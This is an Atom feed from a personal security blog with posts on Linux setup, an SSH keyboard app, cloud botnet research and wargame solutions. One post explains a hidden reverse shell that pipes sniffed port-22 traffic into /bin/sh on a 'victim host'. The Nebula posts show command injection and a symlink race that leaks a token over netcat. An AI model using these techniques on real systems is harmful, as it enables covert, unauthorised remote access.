<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>PH</title>
    
            <link href="http://www.pedramhayati.com/rss" rel="self" />
        
            <link href="http://www.pedramhayati.com"/>
        
        <updated>2015-01-08T05:48:08+00:00</updated> 
    <id>http://www.pedramhayati.com</id>
    
            <entry>
            <title type="html">Bug hunting is not a security research</title>
            <author><name>PH</name></author>
            <updated>2013-05-27T00:00:00+00:00</updated>
            <published>2013-05-27T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2013/05/27/bug_hunting_is_not_security_research"/>
            <id>http://www.pedramhayati.com/2013/05/27/bug_hunting_is_not_security_research</id>
                        <content type="html">
                &lt;p&gt;Unfortunately, &quot;&lt;strong&gt;security research&lt;/strong&gt;&quot; is commonly used to stand out a basic bug hunting work from others.
 There is a page on the majority companies/personal websites titled as &lt;strong&gt;security research&lt;/strong&gt;, however,
What you can usually end up seeing there is a list of published security advisories or reported security vulnerabilities often with proof-of-concepts and exploit codes. Here I just wanted to have a few words to point out what is &lt;strong&gt;research&lt;/strong&gt; and what is not.  &lt;/p&gt;

&lt;h2&gt;What is not research:&lt;/h2&gt;

&lt;p&gt;Looking at different public resources on the definition of &quot;research&quot;, I found the following work has a good explanation on the differences between what research is and is not. Sharkawi from University of Washington says:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;it is not information gathering (e.g. google-ing is not act of research!)&lt;/li&gt;
&lt;li&gt;It is no reascending of facts (e.g. not doing a good literature review and  doing/writing something on a known subject is not a research. This happens quite often in info-sec field. Have a look at these works &lt;a href=&quot;http://net-security.org/secworld.php?id=14733&quot;&gt;Hijacking airplanes with an Android phone&lt;/a&gt; and  &lt;a href=&quot;http://www.youtube.com/watch?v=CXv1j3GbgLk&quot;&gt;Hacker + Airplanes = No Good Can Come Of This&lt;/a&gt; for example. All talking about similar topics (ATC, ADS-B) with no proper referencing to the &lt;a href=&quot;http://www.youtube.com/watch?v=0YHegoXi_IY&quot;&gt;original work&lt;/a&gt;.)&lt;/li&gt;
&lt;li&gt;It is not a sale pith (a new improvement in a product developed after years of research!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;What is research&lt;/h2&gt;

&lt;p&gt;Sharkawi continues on what the characteristics of a research work are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Originated with a new questions, idea or a problem with no acceptable solution&lt;/li&gt;
&lt;li&gt;Requires clear articulation of a goal&lt;/li&gt;
&lt;li&gt;Follows a specific plan of procedure&lt;/li&gt;
&lt;li&gt;Literature review and publication of findings in an acceptable form  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Well I can&#039;t really see all/any of the above characteristics in what is called nowadays as &lt;strong&gt;security research&lt;/strong&gt;. Lets be positive and try to find a way to describe the above characteristics in the current security research practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finding or exploiting a software bug is neither a new question, a new idea, nor a problem with no acceptable solution. It is about finding problem in someone else&#039;s code or &lt;strong&gt;finding a human mistake&lt;/strong&gt; that typically happens because of time and budget limitation on software development.&lt;/li&gt;
&lt;li&gt;I don&#039;t really see a clear definition of a goal in any security  advisories. Perhaps the goal is &quot;&lt;em&gt;To find coding mistakes in X though Y that result in Z!&lt;/em&gt;&quot;&lt;/li&gt;
&lt;li&gt;Specific plan? Can you see flow of scientific process method in any of the security advisories? What I mean by that? 
Have a look at [1] it has simply 6 stages for any scientific procedure: hypothesis, deduction, predictions, observation, test of predictions, induction.&lt;/li&gt;
&lt;li&gt;Literature review! Tell me about it. There are so much plagiarism of both ideas and codes without any references what so ever! &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Still insisting to call it a security research?&lt;/h2&gt;

&lt;p&gt;Then in this case we are going to have the following situation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Software bugs are research problems!&lt;/li&gt;
&lt;li&gt;Debuggers are virtual research labs.&lt;/li&gt;
&lt;li&gt;Software developers are scientific professors as in their daily job they deals with lots of research problems and scientifically fixing them!&lt;/li&gt;
&lt;li&gt;Patching software bugs is scientific research experiment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hope you get what I am going with this. &lt;/p&gt;

&lt;h2&gt;So, what to call it then?&lt;/h2&gt;

&lt;p&gt;Well I wanted to call it an engineering practice. But after do some reading articles like &lt;a href=&quot;http://www.sciencebuddies.org/engineering-design-process/engineering-design-process-steps.shtml&quot;&gt;this&lt;/a&gt; I still do not see the steps involve in Engineering Design Practise in bug hunting: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Define the Problem (What, Who, Why)&lt;/li&gt;
&lt;li&gt;Do Background Research&lt;/li&gt;
&lt;li&gt;Specify Requirements&lt;/li&gt;
&lt;li&gt;Create Alternative Solutions&lt;/li&gt;
&lt;li&gt;Choose the Best Solution&lt;/li&gt;
&lt;li&gt;Do Development Work&lt;/li&gt;
&lt;li&gt;Build a Prototype&lt;/li&gt;
&lt;li&gt;Test and Redesign&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall the process involve in both engineering and scientific methods are more rigorous that finding software bugs. 
In a best case scenario, finding or exploiting security bugs (and not identifying coding mistakes!) is more of &lt;strong&gt;an engineering process&lt;/strong&gt;. The process is to analyse and monitor a software operation via a not well defined method to discover a software bug or exploit a bug in different way. &lt;/p&gt;

&lt;p&gt;That&#039;s for now!&lt;/p&gt;

&lt;h2&gt;References&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[1] Wilson, E. Bright. An Introduction to Scientific Research. McGraw-Hill. 1952.&lt;/li&gt;
&lt;li&gt;[2] M. A. Sharkawi. Research and Development. University of Washington. 2012.&lt;/li&gt;
&lt;li&gt;[3] Hackers get Schooled: Learning Lessons from Academia. (Panel discussion). ShmooCon 2013.&lt;/li&gt;
&lt;/ul&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Create hidden reverse shell by reusing an open port</title>
            <author><name>PH</name></author>
            <updated>2013-05-11T00:00:00+00:00</updated>
            <published>2013-05-11T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2013/05/11/create-stealy-reverse-shell-using-already-openned-port"/>
            <id>http://www.pedramhayati.com/2013/05/11/create-stealy-reverse-shell-using-already-openned-port</id>
                        <content type="html">
                &lt;p&gt;You want to create a reverse shell and your box seats behind a NAT, a proxy, or a firewall and you don&#039;t have enough access to modify the settings on those edge devises to allow an incoming port. I am assuming that at least you have one open and publicly  routable port on your box e.g. SSH, HTTP, etc.&lt;br /&gt;
Good news is you can reuse that open port to create a reverse shell. &lt;/p&gt;

&lt;h2&gt;Create a reverse shell by reusing an open port&lt;/h2&gt;

&lt;p&gt;Lets assume you want to create a reverse shell from box A to box B. Box B is your host behind NAT and box A is your victim host.&lt;/p&gt;

&lt;p&gt;Download and install &lt;em&gt;hping&lt;/em&gt;: &lt;a href=&quot;http://www.hping.org/&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On A run the following command:
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;hping &lt;span style=&quot;color: #660033;&quot;&gt;-I&lt;/span&gt; eth0 &lt;span style=&quot;color: #660033;&quot;&gt;-p&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;22&lt;/span&gt; &lt;span style=&quot;color: #660033;&quot;&gt;--listen&lt;/span&gt; PATTERN &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;sh&lt;/span&gt;
&amp;nbsp;&lt;/pre&gt;The above command puts hping in a listen/sniff mode on eth0 interface and port 22 that is an open and publicly routable port. It listens to specific PATTERN in the incoming data. This is important to distinguish between the data that you are interested to capture and other data that come to port 22. PATTERN is a signature payload that hping looks for inside that TCP data payload. You can use any keyword here like &#039;mySecret&#039;, &#039;[root@victim root]&#039;.&lt;/p&gt;

&lt;p&gt;On B run the following command:
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #7a0874; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;PATTERN;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;|&lt;/span&gt; ncat &lt;span style=&quot;color: #660033;&quot;&gt;-v&lt;/span&gt; BOXA-IP &lt;span style=&quot;color: #000000;&quot;&gt;22&lt;/span&gt;
&amp;nbsp;&lt;/pre&gt; 
Remember to replace PATTERN to your signature e.g. &#039;mySecret&#039;. Now you should have nice reverse shell.&lt;/p&gt;

&lt;h2&gt;How does this work?&lt;/h2&gt;

&lt;p&gt;hping intercepts the traffic coming to your selected port. Using pipe we send the incoming traffic to bash. Cool right? Now imagine what else you can do? Here is a tip. hping sniffs the traffic at the interface level (like tcpdump)  so it means we can use it to listen to ANY incoming traffic on ANY port! I leave this as a challenge for your to find a way.&lt;/p&gt;

&lt;h2&gt;Reference&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.thesprawl.org/research/hping/&quot;&gt;hping by iphelix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.radarhack.com/dir/papers/hping2_v1.5.pdf&quot;&gt;HPING tutorial by xxradar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;Reverse Shell Cheat Sheet&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Fix boot loader on encrypted hard drive</title>
            <author><name>PH</name></author>
            <updated>2012-11-24T00:00:00+00:00</updated>
            <published>2012-11-24T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/11/24/fix-boot-encrypted-debian"/>
            <id>http://www.pedramhayati.com/2012/11/24/fix-boot-encrypted-debian</id>
                        <content type="html">
                &lt;p&gt;I had issue with lilo boot-loader on my encrypted debian setup, needed to re-install the boot loader, decided to go with grub as lilo was not reliable with encrypted (luks) drives. I found really good write-up on how to fix the boot loader (grub) with encryption &lt;a href=&quot;http://stephentanner.com/index.php/2011/05/restoring-grub-for-an-encrypted-lvm/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;the only thing I like to add is, if you dont manage to mount your /boot try to force the filesystem type:
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;mount&lt;/span&gt; &lt;span style=&quot;color: #660033;&quot;&gt;-t&lt;/span&gt; ext2 &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;boot &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;mnt&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;myhdd&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;boot
&amp;nbsp;&lt;/pre&gt;&lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">botCloud - a command and control platform on the Cloud</title>
            <author><name>PH</name></author>
            <updated>2012-11-03T00:00:00+00:00</updated>
            <published>2012-11-03T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/11/03/botCloud-command-control-cloud-platform"/>
            <id>http://www.pedramhayati.com/2012/11/03/botCloud-command-control-cloud-platform</id>
                        <content type="html">
                &lt;p&gt;My recent write-up on a summary of the research experiment (&lt;a href=&quot;http://stratsec.blogspot.com.au/2012/10/botcloud-emerging-platform-for-cyber.html&quot;&gt;botCloud&lt;/a&gt;) has got interesting international coverage. Here is quick responses to some of the comments:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&quot;Computing is becoming cheaper and cheaper and for something like $10 one can buy enough computing power to take down a small website for a few hours,&quot; Costin Raiu, director of the Global Research &amp;amp; Analysis Team at antivirus vendor Kaspersky Lab, said Tuesday via email. &quot;However, it&#039;s also important to say that &#039;traditional&#039; methods of infecting users with trojans are probably even cheaper and much more resilient to takedowns.&quot; -- &lt;a href=&quot;http://www.cio.com/article/720276/Lack_of_Abuse_Detection_Allows_Cloud_Computing_Instances_to_Be_Used_Like_Botnets_Study_Says&quot;&gt;CIO&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In the &#039;traditional&#039; botnets, the setup cost - identifying victims, bypassing security systems and hoping for execution of malware on a user&#039;s box - is relatively higher. The cost of platform&#039;s reliability is another factor that can potentially increase the overall figure. &lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&quot;It takes a lot of time to find a user which is infected by something like a bot from the Pandora DDoS family and convince him to clean his PC,&quot; Raiu said. &quot;Such infections can last for weeks or for months - making them a lot cheaper than cloud computing solutions.&quot; -- &lt;a href=&quot;http://www.computerworld.com.au/article/440522/lack_abuse_detection_allows_cloud_computing_instances_used_like_botnets_study_says/&quot;&gt;Computer World&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Lets talk about zero-days here. No mater it is a PC or a cloud instance it could be hard to detect such infection in both cases. Given the access level available for a malicious entity in the cloud compare with a zombie PC, they have better chance of hiding infections and using the platform for a longer period.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;David Harley, a senior research fellow at antivirus vendor ESET, said Tuesday via email. &quot;I can&#039;t comment on how typical these providers were. However, when and where cloud providers do implement such countermeasures, the overheads for developing a resilient malicious network are likely to increase sharply.&quot; -- &lt;a href=&quot;http://news.techworld.com/security/3408223/failure-detect-abuse-allows-cloud-computing-instances-be-used-like-botnets/?olo=rss&quot;&gt;Tech World&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As this concept as well as Cloud computing itself is relatively new to the market, the challenge nowadays is to design such countermeasures. Developing and implementing a countermeasure framework that can well operate in such large-scale situation is still a hot research topic.&lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">SSH keyboard for Android</title>
            <author><name>PH</name></author>
            <updated>2012-07-16T00:00:00+00:00</updated>
            <published>2012-07-16T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/07/16/ssh-terminal-keyboard-android"/>
            <id>http://www.pedramhayati.com/2012/07/16/ssh-terminal-keyboard-android</id>
                        <content type="html">
                &lt;h2&gt;Problem&lt;/h2&gt;

&lt;p&gt;Some useful terminal keys are missing on the android stock keyboard.
For example, CTRL, UP arrow, etc. Some apps like connectbot let user to enter these keys by 
combining other keys or using buttons on the device. The problem happens when phone doesn&#039;t 
come with such buttons like trackball (e.g. HTC Wildfire S) and there is no way to 
enter those keys.  &lt;/p&gt;

&lt;h2&gt;SSH for AnySoftKeyboard&lt;/h2&gt;

&lt;p&gt;SSH for AnySoftKeyboard is a handy virtual keyboard that includes special keys for using with SSH clients, terminal emulators etc. You can see below apps&#039; screenshot.&lt;br /&gt;
&lt;img src=&quot;/img/ssh_keyboard_android1.jpg&quot; alt=&quot;SSH keyboard command suggestion&quot; /&gt; 
&lt;img src=&quot;/img/ssh_keyboard_android2.jpg&quot; alt=&quot;SSH keyboard popup keys&quot; /&gt;&lt;/p&gt;

&lt;h2&gt;Features&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Special keys: CTRL, arrows, tab&lt;/li&gt;
&lt;li&gt;Command suggestion and auto completion based on user mostly used commands&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Usage&lt;/h2&gt;

&lt;p&gt;This is a keyboard layout for AnySoftKeyboard app. You need to install AnySoftKeyboard first and
then install SSH for AnySoftKeyboard. Enable SSH keyboard layout in the AnySoftKeyboard settings.
If command suggestion does not work, tap and hold on Enter key and use SSH as default dictionary for 
this keyboard (this doesn&#039;t effect settings for your other keyboards). You can add your own 
commands as you use the application and they will show up next time you start typing them.&lt;/p&gt;

&lt;h2&gt;Download&lt;/h2&gt;

&lt;p&gt;Get this app from &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.anysoftkeyboard.languagepack.SSH&quot;&gt;Google Play&lt;/a&gt;. The source code is also available in &lt;a href=&quot;https://github.com/pi3ch/ssh_anysoftkeyboard&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Notes&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The command suggestion feature was tested only with VX Connectbot.&lt;/li&gt;
&lt;/ul&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Setup NFS to smoothly share 1080p movies over Wireless</title>
            <author><name>PH</name></author>
            <updated>2012-05-28T00:00:00+00:00</updated>
            <published>2012-05-28T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/05/28/nfs-share-1080p-movie-wireless-freenas"/>
            <id>http://www.pedramhayati.com/2012/05/28/nfs-share-1080p-movie-wireless-freenas</id>
                        <content type="html">
                &lt;p&gt;NFS is the traditional lightweight and superfast file sharing solution on mainly Nix and BSD distros. Due to small protocol overhead, NFS is one of the fastest ways of sharing files over local networks (See &lt;a href=&quot;http://wdtvforum.com/main/index.php?topic=5393.0&quot;&gt;NFS vs SMF vs FTP vs SSH speed benchmark&lt;/a&gt;).
 So if you want to share those 1080p movies over home network to your HTPC without any stuttering, NFS can be the best choice.  &lt;/p&gt;

&lt;p&gt;So how to setup FreeNAS7 with NFS share?
 The first thing is WebGUI for FreeNAS7 is buggy for NFS service. So, have your SSH connection to FreeNAS ready.&lt;/p&gt;

&lt;h3&gt;Step1: Enable NFS through WebGUI&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Services &gt; NFS &gt; Shares &gt; [+]&lt;/li&gt;
&lt;li&gt;Path: path to your movie directory on the server&lt;/li&gt;
&lt;li&gt;Map all users to root: if you want to give write access select yes&lt;/li&gt;
&lt;li&gt;Authorised network: Subclass C of your network e.g. 192.168.1.1/24&lt;/li&gt;
&lt;li&gt;Press Add.&lt;/li&gt;
&lt;li&gt;Apply changes and wait for NFS service to start.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Step2: Modification through SSH&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;SSH to FreeNAS7 &lt;/li&gt;
&lt;li&gt;Change user to root (su)&lt;/li&gt;
&lt;li&gt;Edit /etc/exports (e.g. vi /etc/exports)&lt;/li&gt;
&lt;li&gt;If you have multiple directories on one mounting point that you want to share on the same network, &lt;strong&gt;make sure to add them all in one line&lt;/strong&gt;. e.g. /mnt/disk1/music /mnt/disk1/video&lt;/li&gt;
&lt;li&gt;Remove mask and network part and add the client IP address that you want to have access from. e.g. 192.168.1.2&lt;/li&gt;
&lt;li&gt;Optional add -mapall=YOURUSERNAME to give write access to share directory.&lt;/li&gt;
&lt;li&gt;You config file should look like: &lt;code&gt;/mnt/disk1/music /mnt/disk1/video -mapall=pi3ch 192.168.1.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Restart NFS service: kill -HUP &amp;#96;cat /var/run/mountd.pid&amp;#96;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Step3: Check and mount share directories&lt;/h3&gt;

&lt;p&gt;On the client host run
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;showmount &lt;span style=&quot;color: #660033;&quot;&gt;-e&lt;/span&gt; FREENASIP
&amp;nbsp;&lt;/pre&gt;if you can see the share directories congrat! if not, have look at the logs (WebGUI &gt; Diagnostics &gt; Log)&lt;/p&gt;

&lt;p&gt;To mount a NFS share on the client host run (as a root)
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;mount&lt;/span&gt; FREENASIP:FULLPATHTODIR MOUNTPOINT
e.g. &lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;mount&lt;/span&gt; 192.168.1.1:&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;mnt&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;disk1&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;music music
&amp;nbsp;&lt;/pre&gt;
Enjoy the speed of NFS!  &lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Access Mutt attachments remotely (SSH)</title>
            <author><name>PH</name></author>
            <updated>2012-05-14T00:00:00+00:00</updated>
            <published>2012-05-14T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/05/14/access-mutt-attachments-remotely"/>
            <id>http://www.pedramhayati.com/2012/05/14/access-mutt-attachments-remotely</id>
                        <content type="html">
                &lt;p&gt;&lt;a href=&quot;http://www.mutt.org&quot;&gt;Mutt&lt;/a&gt; is hard to adopt, once-you-learn-you-love-it, and very flexible email clients. Through remote (e.g. SSH) connections is time-consuming to open the attachments. It needs to save and download the attachment to remote host. One way to get around this is to serve the attachment through a webserver on a specific port and open up the browser on the remote host to view the attachment on that port. This can be easily done by a simple bash script and using netcat. Below is the script that you need to save in your home directory (e.g. ~/bin/muttattach.sh).
&lt;script src=&quot;https://gist.github.com/2692062.js&quot; class=&quot;gist&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Make it executable (e.g. chmod +x muttattach.sh). Modify ~/.mutt/mailcap and the following lines:
&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;text&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;em&gt;&lt;/span&gt;; ~&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;muttattch.sh &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;%&lt;/span&gt;s
application&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/em&gt;&lt;/span&gt;; ~&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;muttattch.sh &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;%&lt;/span&gt;s
image&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;em&gt;&lt;/span&gt;; ~&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;muttattch.sh &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;%&lt;/span&gt;s
audio&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/em&gt;&lt;/span&gt;; ~&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;bin&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;muttattch.sh &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;%&lt;/span&gt;s
&amp;nbsp;&lt;/pre&gt;Now open up an attachment in mutt, browse to http://localhost:8083 on remote host.&lt;br /&gt;
&lt;em&gt;the above script is the modified version of &lt;a href=&quot;&quot;&gt;http://www.linuxjournal.com/article/6511&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Nebula level 12 solution</title>
            <author><name>PH</name></author>
            <updated>2012-05-07T00:00:00+00:00</updated>
            <published>2012-05-07T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/05/07/nebula-level12-solution"/>
            <id>http://www.pedramhayati.com/2012/05/07/nebula-level12-solution</id>
                        <content type="html">
                &lt;p&gt;A simple command execution issue with the .lua code. Initially you need to connect to localhost on port 50001. Then simply inject the command as &#039;Password&#039;. 
Line 5 inserts everything from &quot;Password&quot; prompt to the command string.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/c42d211e63c99e7561ed.js&quot; class=&quot;gist&quot;&gt;&lt;/script&gt;

&lt;h3&gt;Solution&lt;/h3&gt;

&lt;p&gt;&lt;pre class=&quot;bash&quot; style=&quot;font-family:monospace;&quot;&gt;nc 127.0.0.1 &lt;span style=&quot;color: #000000;&quot;&gt;50001&lt;/span&gt;
Password: &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;|&lt;/span&gt;getflag &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;&amp;gt;/&lt;/span&gt;tmp&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;flag
Better luck next &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;time&lt;/span&gt;
&lt;span style=&quot;color: #c20cb9; font-weight: bold;&quot;&gt;less&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;tmp&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;/&lt;/span&gt;flag
You have successfully executed getflag on a target account
&amp;nbsp;&lt;/pre&gt;&lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">Nebula level10 solution</title>
            <author><name>PH</name></author>
            <updated>2012-02-01T00:00:00+00:00</updated>
            <published>2012-02-01T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/02/01/nebula-level10-solution"/>
            <id>http://www.pedramhayati.com/2012/02/01/nebula-level10-solution</id>
                        <content type="html">
                &lt;p&gt;the access() check is done using the calling process&#039;s real UID and GID, rather than the effective IDs as is done when actually opening the file - open(). The idea here is to create a symbolic link to a readable file, once the program pass the following line, change the symbolic link to the /home/flag10/token file so the open() and read() operations fetch the content of the file.&lt;/p&gt;

&lt;p&gt;&lt;div class=&quot;rj_insertcode&quot;&gt;
&lt;div class=&quot;rj_insertcode_c&quot; style=&quot;overflow: auto; width: 100%; height: auto; border: 1px solid #054b6e; background: #f8f8f8;&quot;&gt;
&lt;div class=&quot;c&quot; style=&quot;border-collapse: collapse; width: 100%;&quot;&gt;
&lt;pre style=&quot;margin: 0; background: none; vertical-align: top; padding: 0px 4px; font-size: 12px;&quot;&gt;&lt;span style=&quot;vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;access&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;argv&lt;span style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000dd;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; R&lt;em&gt;OK&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To do so, you need another host to listen to incomming connections on port 18211.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;nbsp;&lt;ol&gt;
&lt;li&gt;Create a symbolic link to a random readable file (e.g. ln -s ~/readable ~/pi3ch)&lt;/li&gt;
&lt;li&gt;Execute flag10 in the background i.e. ./flag10 ~/pi3ch OTHER&lt;/em&gt;HOST&lt;em&gt;IP&lt;/em&gt;ADDRESS &amp;amp;&lt;/li&gt;
&lt;li&gt;rm ~/pi3ch; ln -s /home/flag10/token ~/pi3ch&lt;/li&gt;
&lt;li&gt;On the other host listen to the connection on port 18211 e.g. nc -vvvv -n -l -p 18211&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Wait and once you get 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 you are done with this level (content of token file).&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An alternative solution for this problem is posted on &lt;a href=&quot;http://www.mattandreko.com/2011/12/exploit-exercises-nebula-10.html&quot;&gt;http://www.mattandreko.com/2011/12/exploit-exercises-nebula-10.html&lt;/a&gt;&lt;/p&gt;&lt;/p&gt;

            </content>
        </entry>
            <entry>
            <title type="html">New ways to learn completely different from what you may think learning is about</title>
            <author><name>PH</name></author>
            <updated>2012-01-31T00:00:00+00:00</updated>
            <published>2012-01-31T00:00:00+00:00</published>
            <link href="http://www.pedramhayati.com/2012/01/31/new-ways-to-learn-completely-different-from-what-you-may-think-learning-is-about"/>
            <id>http://www.pedramhayati.com/2012/01/31/new-ways-to-learn-completely-different-from-what-you-may-think-learning-is-about</id>
                        <content type="html">
                &lt;p&gt;&lt;br&gt;
New ways to learn 1) learn in the chain and series not step-by-step 2) learn in different places 3) the more challenging retrieval is the better you learn (so never make a note during class, do after)
&lt;br&gt;&lt;a href=&#039;http://www.wired.com/geekdad/2012/01/everything-about-learning&#039;&gt;http://www.wired.com/geekdad/2012/01/everything-about-learning&lt;/a&gt;&lt;/p&gt;

            </content>
        </entry>
    </feed>
